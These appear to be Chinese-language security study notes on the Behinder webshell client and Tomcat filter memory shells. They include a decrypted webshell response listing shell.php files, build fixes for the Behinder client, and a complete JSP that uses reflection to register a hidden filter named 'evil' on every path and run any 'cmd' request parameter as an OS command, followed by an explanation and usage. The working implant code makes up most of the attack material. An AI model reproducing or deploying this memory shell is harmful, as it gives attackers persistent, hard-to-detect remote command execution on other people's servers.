TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd9eghDQVwxLhN6M2NDdiAhfXo2B0BcAwQKejN3Rh4DHFtQBFBbXAcCCh4BTURALSRTUlV4e3YxKxYeAVhaejVTXh4yel4SMTUWHgVgQEwgJ2VPAgd+bDAhL2Exd3FSUi59cCgFanEkCgF9KglWYjBQbHMBa2RAIgsPWjBXXwNVCUJvMH1xXlYuL18lQH9MWhJ6Zl1Lf1AnAi9hKQ9/TycCfXYkVGJ8NC83X1Bee3YjAn12JFR7eicCLlJUcn9fIxx5TF1EfGpeHS9cJV5/YS9TeU8gVHt6JwIycDZzZ19WAn12JFR7eicCK3YlXn5cVit3XyxEf203Ey9xLU9/XwECfXEsSX1TJxwrdiVee3YjAn12JFR7eicCL18hSn9fIx19chJGUX4OEiZkC0B/cScfeE8kAn5DJ1ArdiVAf3ENVHpcJFR7eicCK3YlXnt2IwJ9diRUe3onHC9MJk5TfSAVVlg/RX5XJAoBdFRyf18jHHlcXUR/QF4SLHYlXn9hN1N5TwJUe3onAjJwNnNnX1YCfXYkVHt6JwIrdiVeUXIKEmBtCXFoflcVAFJUcn9fIxx5TF1EfGpeHS9mJV5/YTNTenEoVHt6JwIrdiVee3YjAn12JFR7eicfL2EtXlEHCglWchJGUX4OEiZkC0B/cSsfeE8kAn5DIxwrdiVBf18NEnpMJFR7eicCK3YlXnt2IwJ9diRUe30vHCxcJkNTcjQWVnEsRlF+DhImZAtee3YjAn12JFR7eicCK3YlXnt2I1V9ejYHQ0wHMgoeNw5GXCMCfXYkVHt6JwIrcS1BfnEBV3lcIV9AYwAKC1otd3FcIwJ9diRUe3onAit2JV57diMCfXEoVAd1DxRXABFMB1dQM31xLEp+fT8cLGYTCH1hNxZ5Tw5Ke3YxNRAeAWxDejURWB4MeFVeVi5ASA==
先用冰蝎传输协议进行解密
{"status":"c3VjY2Vzcw==","msg":"IOmpseWKqOWZqCBDIOS4reeahOWNt+ayoeacieagh+etvuOAgg0KIOWNt+eahOW6j+WIl+WPt+aYryBBQzg4LUVDMTUNCg0KIEM6XHBocHN0dWR5XFdXVyDnmoTnm67lvZUNCg0KMjAyMy8wNS8xMiAgMTM6MzEgICAgPERJUj4gICAgICAgICAgLg0KMjAyMy8wNS8xMiAgMTM6MzEgICAgPERJUj4gICAgICAgICAgLi4NCjIwMTQvMDIvMjcgIDIzOjAyICAgICAgICAgICAgMjEsMjAxIGwucGhwDQoyMDEzLzA1LzA5ICAyMDo1NiAgICAgICAgICAgICAgICAyMyBwaHBpbmZvLnBocA0KMjAyMi8wMy8wNCAgMTU6MzggICAgPERJUj4gICAgICAgICAgcGhwTXlBZG1pbg0KMjAyMy8wNS8xMSAgMTQ6NDMgICAgICAgICAgICAgICAzMTIgc2hlbGwucGhwDQoyMDIzLzA1LzEyICAxMjowNyAgICAgICAgICAgICAgIDIyNiBzaGVsbDIucGhwDQogICAgICAgICAgICAgICA0IOS4quaWh+S7tiAgICAgICAgIDIxLDc2MiDlrZfoioINCiAgICAgICAgICAgICAgIDMg5Liq55uu5b2VIDIyLDYyNSw1OTUsMzkyIOWPr+eUqOWtl+iKgg0K"}
msg 字段使用 base 64 解码

源码安装
项目地址: https://github.com/MountCloud/BehinderClientSource
1)报错:Plugin 'maven-assembly-plugin:' not found
安装这个插件,在 pom 文件中安装
<!-- https://mvnrepository.com/artifact/org.apache.maven.plugins/maven-assembly-plugin -->
<dependency>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
</dependency>
安装后还报错:
File -> Setting -> Build, Execution, Deployment -> Build Tools -> Maven -> 勾选Use plugin registry选项
File -> Invalidate Caches -> Invalidate and Restart
2)javafx 爆红
使用 oracle jdk 8 运行。
openjdk 不包含这个库,自己下载去吧。或者使用 oraclejdk 版本

内存马
常见函数
getClass ():返回此 Object 的运行时类。
获取ServletContext对象:
1.在javax.servlet.Filter中直接获取
ServletContext context = config.getServletContext();
2.在HttpServlet中直接获取
this.getServletContext()
3.在其他方法中,通过HttpRequest获得
request.getSession().getServletContext();
每个web工程都只有一个ServletContext对象,上述方式获得的ServletContext对象都是同一个.
tomcat filter 内存马
学习: https://xz.aliyun.com/t/10696#toc-1
创建一个 jsp 文件,用来创建 filter 内存马,写入代码如下。
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
// 第一部分
final String name = "evil";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
// 第二部分
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
};
// 第三部分
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
}
%>
第一部分详解:
利用反射获取我们想要的对象。第一次反射通过 ServletContext,得到ApplicationContext;第二次反射通过ApplicationContext,得到StandardContext;第三次反射通过StandardContext,得到filterConfigs

第二部分详解:
恶意 Filter 代码
第三部分详解: https://blog.csdn.net/weixin_45682070/article/details/122930587
了解 Filter 知识: https://www.runoob.com/w3cnote/filter-filterchain-filterconfig-intro.html
正常情况下,我们创建一个 Filter 后,需要在 web. xml 文件中进行注册和映射。第三部分就是用代码的形式进行 xml 文件中的配置操作。
filterDefs,filterMaps,filterConfigs。这三者
filterDefs:对应的就是注册。与之相对的是 xml 文件中的
<filter>
<filter-name>filterName</filter-name>
<filter-class>xxx.xxx.filterName</filter-class>
</filter>
filterMaps:对应的就是映射。用于设置一个 Filter 所负责拦截的资源
<filter-mapping>
<filter-name>filterName</filter-name>
<url-pattern>/name</url-pattern>
</filter-mapping>
filterConfigs:是 Filter 过滤器的配置文件类。Tomcat 每次创建 Filter 的时候,也会同时创建一个 FilterConfig 类,这里包含了 Filter 配置文件的配置信息。
// 第三部分
// 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);
// 创建一个filtermap,设置filter的名字和对应的urlpattern
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 将filtermap 添加到 filterMaps 中的第一个位置
standardContext.addFilterMapBefore(filterMap);
// 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
上述 jsp 代码上传后执行。我们就有了一个名为“evil”的 filter 过滤器。这个过滤器所拦截的路径为 /*,访问这个 jsp 文件,然后访问任意一个路径,携带 cmd=calc 参数,就会执行这个命令。
在第一部分的代码当中有一个filterConfigs==,打印这个,可以看到我们添加的恶意 filter。正常情况下Tomcat WebSocket (JSR 356) Filter== 是在首位的,但是当我们运行了恶意代码,写入恶意 filter 之后,恶意 filter 就会在首位了